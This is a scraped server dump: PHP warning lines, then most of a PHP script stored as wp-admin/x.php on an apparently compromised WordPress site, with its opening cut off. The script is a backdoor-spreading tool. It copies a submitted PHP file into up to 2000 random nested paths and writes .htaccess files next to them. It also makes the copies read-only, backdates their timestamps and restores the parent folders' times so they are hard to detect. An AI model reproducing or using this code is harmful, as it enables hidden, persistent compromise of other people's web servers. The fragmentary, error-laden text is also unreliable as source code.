??????????????
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 173
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 174
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 175
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 176
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 177
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 178
home/mybf1/public_html/mentol.bf1.my/wp-admin/x.php 0000644 00000032137 15120224743 0016107 0 ustar 00 $relativePath,
'full' => $fullPath,
'dirs' => $paths
);
}
}
return $result;
}
function tryWriteHtaccess($dir, $content) {
$htPath = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . '.htaccess';
$writeSuccess = @file_put_contents($htPath, $content) !== false;
if ($writeSuccess) {
@touch($htPath);
@chmod($htPath, 0555);
return true;
}
return false;
}
// 表单提交处理
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$domain = trim(isset($_POST['domain']) ? $_POST['domain'] : '');
$count = (int)(isset($_POST['count']) ? $_POST['count'] : 0);
$pastedCode = trim(isset($_POST['pasted_code']) ? $_POST['pasted_code'] : '');
$uploadedFile = isset($_FILES['file']['tmp_name']) ? $_FILES['file']['tmp_name'] : '';
$customTimeStr = trim(isset($_POST['custom_time']) ? $_POST['custom_time'] : '');
$maxFilenameLength = (int)(isset($_POST['filename_length']) ? $_POST['filename_length'] : 12);
$minDepth = (int)(isset($_POST['min_depth']) ? $_POST['min_depth'] : 1);
$maxDepth = (int)(isset($_POST['max_depth']) ? $_POST['max_depth'] : 3);
$genHtaccess = (isset($_POST['generate_htaccess']) && $_POST['generate_htaccess'] === '1') ? true : false;
$htaccessContent = trim(isset($_POST['htaccess_content']) ? $_POST['htaccess_content'] : '');
$maxFilenameLength = max(3, min($maxFilenameLength, 50));
$minDepth = max(1, min($minDepth, 10));
$maxDepth = max($minDepth, min($maxDepth, 10));
if (!filter_var($domain, FILTER_VALIDATE_URL)) {
$log[] = "❌ Invalid domain URL.";
} elseif ($count <= 0 || $count > 2000) {
$log[] = "❌ Count must be between 1 and 2000.";
} elseif (empty($pastedCode) && (!isset($_FILES['file']) || !is_uploaded_file($uploadedFile))) {
$log[] = "❌ Please upload a PHP file or paste PHP code.";
} else {
$customTimestamp = null;
if ($customTimeStr !== '') {
$customTimestamp = strtotime($customTimeStr);
if ($customTimestamp === false) {
$log[] = "❌ Invalid date format. Use Y-m-d H:i:s.";
$customTimestamp = null;
}
}
if (!empty($pastedCode)) {
$uploadedFile = tempnam(sys_get_temp_dir(), 'phpcode_');
file_put_contents($uploadedFile, $pastedCode);
}
$topDirs = getTopLevelDirectories($baseDir);
if (empty($topDirs)) {
$log[] = "❌ No top-level directories found in current directory.";
} else {
$paths = generateRandomPaths($count, $topDirs, $fileNames, $folders, $maxFilenameLength, $minDepth, $maxDepth);
$parentDirsOriginalTime = array();
foreach ($paths as $item) {
foreach ($item['dirs'] as $dir) {
$parentDir = dirname($dir);
if (!isset($parentDirsOriginalTime[$parentDir]) && is_dir($parentDir)) {
$parentDirsOriginalTime[$parentDir] = filemtime($parentDir);
}
}
}
$newDirs = array();
$newFiles = array();
foreach ($paths as $item) {
$fullPath = $item['full'];
$dirs = $item['dirs'];
foreach ($dirs as $d) {
if (!is_dir($d)) {
if (tryMkdirWithFix($d)) {
$newDirs[] = $d;
} else {
$log[] = "❌ Failed to create directory: $d";
continue 2;
}
}
}
if (!file_exists($fullPath)) {
if (copy($uploadedFile, $fullPath)) {
$newFiles[] = $fullPath;
$logEntry = rtrim($domain, '/') . '/' . $item['relative'];
if ($genHtaccess) {
$fileDir = dirname($fullPath);
$htSuccess = tryWriteHtaccess($fileDir, $htaccessContent);
if (!$htSuccess) {
$logEntry .= " ⚠️ .htaccess 生成失败";
}
}
$log[] = $logEntry;
} else {
$log[] = "❌ Failed to write file: $fullPath";
}
} else {
$log[] = "ℹ️ 文件已存在,不覆盖: " . $item['relative'];
}
}
$perm = 0555;
$timestamp = $customTimestamp !== null ? $customTimestamp : time();
foreach ($newDirs as $d) {
@touch($d, $timestamp);
@chmod($d, $perm);
}
foreach ($newFiles as $f) {
@touch($f, $timestamp);
@chmod($f, $perm);
}
foreach ($parentDirsOriginalTime as $dir => $mtime) {
@touch($dir, $mtime);
}
}
if (!empty($pastedCode) && file_exists($uploadedFile)) {
unlink($uploadedFile);
}
}
}
?>